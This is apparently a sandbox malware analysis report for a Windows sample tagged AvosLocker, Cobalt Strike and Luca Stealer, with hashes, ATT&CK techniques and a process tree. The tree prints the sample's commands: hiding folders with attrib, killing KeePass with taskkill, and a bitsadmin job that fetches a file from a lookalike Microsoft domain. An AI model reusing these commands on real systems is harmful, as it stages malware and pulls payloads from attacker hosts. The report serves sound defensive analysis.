3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
29-11-2024 02:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe
Size

656KB
MD5

21e82cf77235daceff772b250ddb3437
SHA1

ef9205d9dba27091460d3a39c530d0501630538f
SHA256

3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630
SHA512

36af6898749356d84b72af05d257149688504e7e5191381c9983886d7c6107966f3f5031c4252a001a88316e88d54436d64539be86123f27b4572df74a765ec5
SSDEEP

12288:TYcts2ucwpeaqvLaa0u32WcO7aMhP224lRL/DclzZjbhLiaeOulrpvAAtSNPzPm8:TYctBrvlzcA3g/DclzZjlTeOulrpvAo8

Score

8^/10

defense_evasion discovery dropper

Malware Config

Signatures

Download via BitsAdmin 1 TTPs 2 IoCs

dropper

BITS Jobs

T1197

Processes:

bitsadmin.exebitsadmin.exe

pid	Process
5004	bitsadmin.exe
2896	bitsadmin.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

Processes:

cmd.exe

pid	Process
4120	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 21 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

cmd.exebitsadmin.execmd.exetaskkill.execmd.execmd.execmd.exebitsadmin.exebitsadmin.exebitsadmin.exe2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exewhoami.execmd.exebitsadmin.exetaskkill.execmd.execmd.execmd.execmd.exeattrib.exeattrib.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	whoami.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe

Kills process with taskkill 2 IoCs

evasion

Processes:

taskkill.exetaskkill.exe

pid	Process
832	taskkill.exe
4732	taskkill.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe

pid	Process
1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe
1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe

pid	Process
1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

whoami.exetaskkill.exetaskkill.exe

description	pid	Process
Token: SeDebugPrivilege	3912	whoami.exe
Token: SeDebugPrivilege	832	taskkill.exe
Token: SeDebugPrivilege	4732	taskkill.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe

pid	Process
1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe
1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe

Suspicious use of WriteProcessMemory 60 IoCs

Processes:

2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	Process	procid_target
PID 1812 wrote to memory of 4984	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	85
PID 1812 wrote to memory of 4984	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	85
PID 1812 wrote to memory of 4984	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	85
PID 4984 wrote to memory of 3912	4984	cmd.exe	87
PID 4984 wrote to memory of 3912	4984	cmd.exe	87
PID 4984 wrote to memory of 3912	4984	cmd.exe	87
PID 1812 wrote to memory of 4120	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	88
PID 1812 wrote to memory of 4120	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	88
PID 1812 wrote to memory of 4120	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	88
PID 4120 wrote to memory of 992	4120	cmd.exe	90
PID 4120 wrote to memory of 992	4120	cmd.exe	90
PID 4120 wrote to memory of 992	4120	cmd.exe	90
PID 1812 wrote to memory of 756	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	91
PID 1812 wrote to memory of 756	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	91
PID 1812 wrote to memory of 756	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	91
PID 756 wrote to memory of 3712	756	cmd.exe	93
PID 756 wrote to memory of 3712	756	cmd.exe	93
PID 756 wrote to memory of 3712	756	cmd.exe	93
PID 1812 wrote to memory of 2852	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	94
PID 1812 wrote to memory of 2852	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	94
PID 1812 wrote to memory of 2852	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	94
PID 2852 wrote to memory of 832	2852	cmd.exe	96
PID 2852 wrote to memory of 832	2852	cmd.exe	96
PID 2852 wrote to memory of 832	2852	cmd.exe	96
PID 1812 wrote to memory of 5032	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	98
PID 1812 wrote to memory of 5032	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	98
PID 1812 wrote to memory of 5032	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	98
PID 5032 wrote to memory of 4732	5032	cmd.exe	100
PID 5032 wrote to memory of 4732	5032	cmd.exe	100
PID 5032 wrote to memory of 4732	5032	cmd.exe	100
PID 1812 wrote to memory of 1420	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	101
PID 1812 wrote to memory of 1420	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	101
PID 1812 wrote to memory of 1420	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	101
PID 1420 wrote to memory of 1228	1420	cmd.exe	103
PID 1420 wrote to memory of 1228	1420	cmd.exe	103
PID 1420 wrote to memory of 1228	1420	cmd.exe	103
PID 1812 wrote to memory of 516	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	112
PID 1812 wrote to memory of 516	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	112
PID 1812 wrote to memory of 516	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	112
PID 516 wrote to memory of 5004	516	cmd.exe	114
PID 516 wrote to memory of 5004	516	cmd.exe	114
PID 516 wrote to memory of 5004	516	cmd.exe	114
PID 1812 wrote to memory of 4792	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	115
PID 1812 wrote to memory of 4792	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	115
PID 1812 wrote to memory of 4792	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	115
PID 4792 wrote to memory of 1392	4792	cmd.exe	117
PID 4792 wrote to memory of 1392	4792	cmd.exe	117
PID 4792 wrote to memory of 1392	4792	cmd.exe	117
PID 1812 wrote to memory of 1804	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	118
PID 1812 wrote to memory of 1804	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	118
PID 1812 wrote to memory of 1804	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	118
PID 1804 wrote to memory of 2896	1804	cmd.exe	120
PID 1804 wrote to memory of 2896	1804	cmd.exe	120
PID 1804 wrote to memory of 2896	1804	cmd.exe	120
PID 1812 wrote to memory of 2608	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	121
PID 1812 wrote to memory of 2608	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	121
PID 1812 wrote to memory of 2608	1812	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	121
PID 2608 wrote to memory of 1176	2608	cmd.exe	123
PID 2608 wrote to memory of 1176	2608	cmd.exe	123
PID 2608 wrote to memory of 1176	2608	cmd.exe	123

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

Processes:

attrib.exeattrib.exe

pid	Process
992	attrib.exe
3712	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe
"C:\Users\Admin\AppData\Local\Temp\2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1812
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c whoami
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4984
- - C:\Windows\SysWOW64\whoami.exe
    whoami
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3912
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c attrib +h C:\Users\Public\AppData
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4120
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h C:\Users\Public\AppData
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:992
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c attrib -h C:\Users\Public\AppData\Windows\svehost.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:756
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h C:\Users\Public\AppData\Windows\svehost.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:3712
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /im svehost.exe /t /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2852
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im svehost.exe /t /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:832
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /im keepass.exe /t /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5032
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im keepass.exe /t /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4732
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c bitsadmin /cancel pdj
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1420
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /cancel pdj
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1228
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c bitsadmin /create pdj
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:516
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /create pdj
    3⤵
    - Download via BitsAdmin
    - System Location Discovery: System Language Discovery
    PID:5004
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c bitsadmin /SetPriority pdj HIGH
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4792
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /SetPriority pdj HIGH
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1392
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c bitsadmin /addfile pdj "http://microsoft.com-view.space/i.php?u=YLFOGIOE_Admin&i=proxy ip" C:\Users\Public\AppData\Libs\p.b
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1804
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /addfile pdj "http://microsoft.com-view.space/i.php?u=YLFOGIOE_Admin&i=proxy ip" C:\Users\Public\AppData\Libs\p.b
    3⤵
    - Download via BitsAdmin
    - System Location Discovery: System Language Discovery
    PID:2896
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c bitsadmin /resume pdj
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2608
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /resume pdj
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1176

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Public\AppData\Libs\u.nfo

Filesize
514B

MD5
24a03ae18b4df67496c29315fad5122b

SHA1
eab41c8a1b6d96faf00f8692dfe28a4556214365

SHA256
f498542839438cadf8445890b1095e90dd168a813e456f5d4df2d9aaacc20349

SHA512
56918a7520c5b3e7e50d66d9415fb209962c3ef340d52a1e6ebbffc9212d4e9a85a520a524191258f1bcc221fc2e65d6d6f104a89ab23f855f41c20a17aee23f

Download Submit